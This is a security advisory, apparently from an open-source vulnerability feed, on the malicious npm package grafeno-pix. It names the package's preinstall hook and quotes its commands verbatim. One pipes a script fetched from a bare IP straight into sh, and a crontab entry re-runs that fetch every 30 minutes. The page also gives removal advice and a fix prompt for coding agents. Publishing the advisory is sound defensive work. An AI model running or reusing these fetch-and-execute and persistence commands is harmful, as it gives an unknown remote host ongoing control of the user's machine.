# MAL-2026-15507: Malicious code in grafeno-pix (npm)


- **Type:** Malicious package
- **Package:** `grafeno-pix` (npm)
- **Published:** 28 Aug 2026

## What is MAL-2026-15507?

MAL-2026-15507 is a malicious package in grafeno-pix, published on 28 Aug 2026. 

### Official description

grafeno-pix@1.0.0 declares a preinstall hook that runs `curl -s 216.126.236.46/x.sh | sh`, fetching a shell script from a bare IP over plain HTTP and executing it as the installer on `npm install`. The same hook installs a crontab entry (`*/30 * * * * curl -s 216.126.236.46/x.sh | sh`) that re-fetches and executes the remote script every 30 minutes, providing persistent remote code delivery to the installer's host. The endpoint is an anonymous bare-IP address unrelated to any package publisher and the fetched content is unpinned and integrity-unchecked, so whatever bytes 216.126.236.46 returns run as the user performing the install, indefinitely.

The OpenSSF Package Analysis project identified 'grafeno-pix' @ 1.0.1 (npm) as malicious.

It is considered malicious because:

- The package executes one or more commands associated with malicious behavior.

## What should I do about MAL-2026-15507?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-15507 is a malicious package: grafeno-pix (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-15507/ (Markdown: https://insights.sbomify.com/MAL-2026-15507/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-15507

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From sbomify Insights: https://insights.sbomify.com/MAL-2026-15507/
Summaries are generated and may contain mistakes; the official description above is the record.